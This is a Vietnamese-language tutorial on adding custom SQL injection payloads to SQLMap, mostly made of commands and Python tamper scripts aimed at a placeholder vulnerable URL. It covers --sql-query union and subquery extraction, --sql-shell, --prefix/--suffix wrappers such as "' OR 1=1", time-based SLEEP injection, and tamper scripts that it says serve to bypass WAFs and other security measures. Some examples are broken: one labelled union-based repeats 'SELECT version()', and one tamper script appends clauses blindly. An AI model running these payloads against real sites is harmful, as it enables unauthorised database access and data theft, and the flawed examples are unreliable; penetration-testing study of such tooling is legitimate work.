Table of Contents
Thêm Payload tùy chỉnh trực tiếp trong cú pháp SQLMap
SQLMap cho phép bạn chỉ định các truy vấn SQL của riêng bạn bằng cách sử
dụng tùy chọn `--sql-query`. Điều này đặc biệt hữu ích khi bạn muốn chèn các
tải trọng cụ thể để kiểm tra các lỗ hổng SQL injection.
Bạn có thể thêm payload tùy chỉnh trực tiếp trong cú pháp SQLMap bằng tùy
chọn --sql-query hoặc bằng cách
tùy chỉnh payload thông qua tập lệnh tamper. Dưới đây, tôi sẽ chỉ cho bạn
cách thêm payload tùy chỉnh trực tiếp bằng SQLMap cũng như thông qua tập
lệnh tamper.
Thêm Payloads tùy chỉnh trực tiếp vào SQLMap
SQLMap cho phép bạn chỉ định các truy vấn SQL của riêng bạn bằng tùy chọn
này --sql-query. Điều này đặc
biệt hữu ích khi bạn muốn inject các payload cụ thể để kiểm tra SQL
injection.
Ví dụ: Sử dụng --sql-query
1. Tải trọng tùy chỉnh đơn giản
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()"
2. Tải trọng tùy chỉnh dựa trên Union
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="UNION SELECT null, database(), user(), version()"
Tùy chỉnh Payloads với Tamper Scripts
Nếu bạn cần linh hoạt hơn và muốn áp dụng các tải trọng tùy chỉnh một cách
có hệ thống, bạn có thể tạo một tập lệnh giả mạo để sửa đổi các tải trọng
mặc định được SQLMap sử dụng.
Ví dụ: Tập lệnh Tamper tùy chỉnh
1. Tạo một tập lệnh Tamper tùy chỉnh
Tạo một tệp Python mới trong thư mục cài đặt
tamper SQLMap của bạn, ví dụ:
custom_payload_tamper.py.
#!/usr/bin/env python import random __priority__ = 1 def dependencies(): pass def tamper(payload): """ Custom tamper script to inject custom payloads """ if payload: # Example of replacing spaces with comments and adding a custom payload payload = payload.replace(" ", "/**/") if "SELECT" in payload.upper(): payload = payload.replace("SELECT", "SELECT/**/custom_function(),") return payload
2. Lưu tập lệnh
Lưu tập lệnh này vào thư mục
tamper SQLMap.
3. Sử dụng Tamper Script với SQLMap
Chạy SQLMap với tập lệnh giả mạo tùy chỉnh của bạn để áp dụng các sửa đổi
vào tải trọng.
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=custom_payload_tamper
Ví dụ nâng cao với nhiều Payloads
Bạn có thể kết hợp nhiều payload và tập lệnh giả mạo để tạo ra các thử
nghiệm tiêm phức tạp hơn. Dưới đây là một ví dụ nâng cao trong đó các
payload tùy chỉnh được áp dụng một cách có hệ thống cho các yêu cầu.
Ví dụ: Kết hợp nhiều kỹ thuật
1. Tạo một tập lệnh giả mạo phức tạp
#!/usr/bin/env python import random __priority__ = 1 def dependencies(): pass def tamper(payload): """ Custom tamper script to apply multiple custom payloads """ if payload: payload = payload.replace(" ", "/**/") if "UNION" in payload.upper(): payload += " UNION SELECT null, user(), database(), version() --" if "AND" in payload.upper(): payload += " AND IF(1=1, SLEEP(5), 0) --" if "OR" in payload.upper(): payload += " OR (SELECT 1/0 FROM dual) --" return payload
2. Lưu và sử dụng tập lệnh
Lưu tập lệnh complex_tamper.py này vào thư mục tamper.
3. Chạy SQLMap với Complex Tamper Script
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=complex_tamper
--sql-query Tận dụng tùy chọn của SQLMap
Tùy chọn --sql-query này cho phép bạn trực tiếp chỉ định các truy vấn SQL cần thực hiện. Điều
này hữu ích cho việc kiểm tra injection chính xác.
Ví dụ: Truy vấn tùy chỉnh với
--sql-query
1. Truy vấn phiên bản trực tiếp
Lệnh này kiểm tra phiên bản của cơ sở dữ liệu:
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()"
2. Truy vấn dựa trên Union
Lệnh này lấy nhiều thông tin như tên cơ sở dữ liệu, người dùng hiện tại và
phiên bản cơ sở dữ liệu:
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()"
3. Injection truy vấn phụ
Lệnh này sử dụng truy vấn phụ để trích xuất tên bảng:
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT (SELECT table_name FROM information_schema.tables LIMIT 1)"
Sử dụng --sql-shell cho Injection tương tác
SQLMap --sql-shell cung cấp một
shell SQL tương tác để thực thi các lệnh SQL tùy ý.
Ví dụ: Khởi động SQL Shell
1. Shell tương tác
Khởi động shell SQL tương tác để thực thi lệnh SQL theo cách thủ công:
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-shell
2. Thực hiện lệnh trong Shell
Thực hiện các lệnh trong shell SQL để lấy thông tin:
sql-shell> SELECT user(); sql-shell> SELECT database(); sql-shell> SELECT table_name FROM information_schema.tables;
Tạo tập lệnh Tamper tùy chỉnh
Các tập lệnh giả mạo có thể sửa đổi dữ liệu một cách linh hoạt để vượt qua
WAF và các biện pháp bảo mật khác.
Ví dụ: Advanced Custom Tamper Script
1. Script để thêm bình luận ngẫu nhiên
Tạo một tập lệnh random_comment_tamper.py:
#!/usr/bin/env python import random __priority__ = 1 def dependencies(): pass def tamper(payload): """ Adds random inline comments to the payload """ if payload: parts = payload.split(" ") payload = " /*" + str(random.randint(1000, 9999)) + "*/ ".join(parts) return payload
2. Lưu và sử dụng tập lệnh
Lưu tập lệnh này vào thư mục
tamper SQLMap và sử dụng nó:
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=random_comment_tamper
Tải trọng tùy chỉnh với --prefix và--suffix
Bạn có thể sử dụng --prefix và --suffixthêm các đoạn mã SQL tùy chỉnh trước
và sau tải trọng.
Ví dụ: Sử dụng --prefix và
--suffix
1. Thêm Tiền tố và Hậu tố
Thêm đoạn mã tùy chỉnh trước và sau phần tải trọng:
sqlmap -u "http://example.com/vulnerable.php?id=1" --prefix="/**/SELECT/**/" --suffix="/**/FROM/**/dual"
2. Injection với Custom Wrappers
Bao bọc payloads bằng các điều kiện tùy chỉnh:
sqlmap -u "http://example.com/vulnerable.php?id=1" --prefix="' OR 1=1; /*" --suffix="*/ --"
--eval Sử dụng tùy chọn của SQLMap
Tùy chọn --eval này cho phép
đánh giá mã Python trước khi gửi yêu cầu, có thể được sử dụng để tạo tải
trọng động.
Ví dụ: Tạo tải trọng động với
--eval
1. Thế hệ động
Tạo một tải trọng động bằng mã Python:
sqlmap -u "http://example.com/vulnerable.php?id=1" --eval="import random; id=random.randint(1,10)"
Kết hợp các kỹ thuật để kiểm tra tự động
Bạn có thể kết hợp nhiều kỹ thuật để thực hiện thử nghiệm tự động toàn diện.
Ví dụ: Kiểm tra hoàn toàn tự động với payloads tùy chỉnh
1. Payloads tùy chỉnh nâng cao kết hợp
Kết hợp nhiều phương pháp khác nhau để tạo ra lệnh thử nghiệm toàn diện:
sqlmap -u "http://example.com/vulnerable.php?id=1" \ --sql-query="UNION SELECT null, database(), user(), version()" \ --tamper=random_comment_tamper \ --prefix="' OR 1=1; /*" \ --suffix="*/ --" \ --level=5 --risk=3
Ví dụ về một tập lệnh Tamper nâng cao để kiểm tra tự động
Ví dụ: Injection ngẫu nhiên theo thời gian
1. Kịch bản random_time_tamper.py
Tạo một tập lệnh để thêm độ trễ ngẫu nhiên theo thời gian vào tải trọng:
#!/usr/bin/env python import random __priority__ = 1 def dependencies(): pass def tamper(payload): """ Adds a random time-based delay to the payload """ if payload: delay = random.randint(1, 10) payload = payload.replace(" ", "/**/") + f" AND SLEEP({delay})" return payload
2. Sử dụng với SQLMap
Sử dụng tập lệnh với SQLMap:
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=random_time_tamper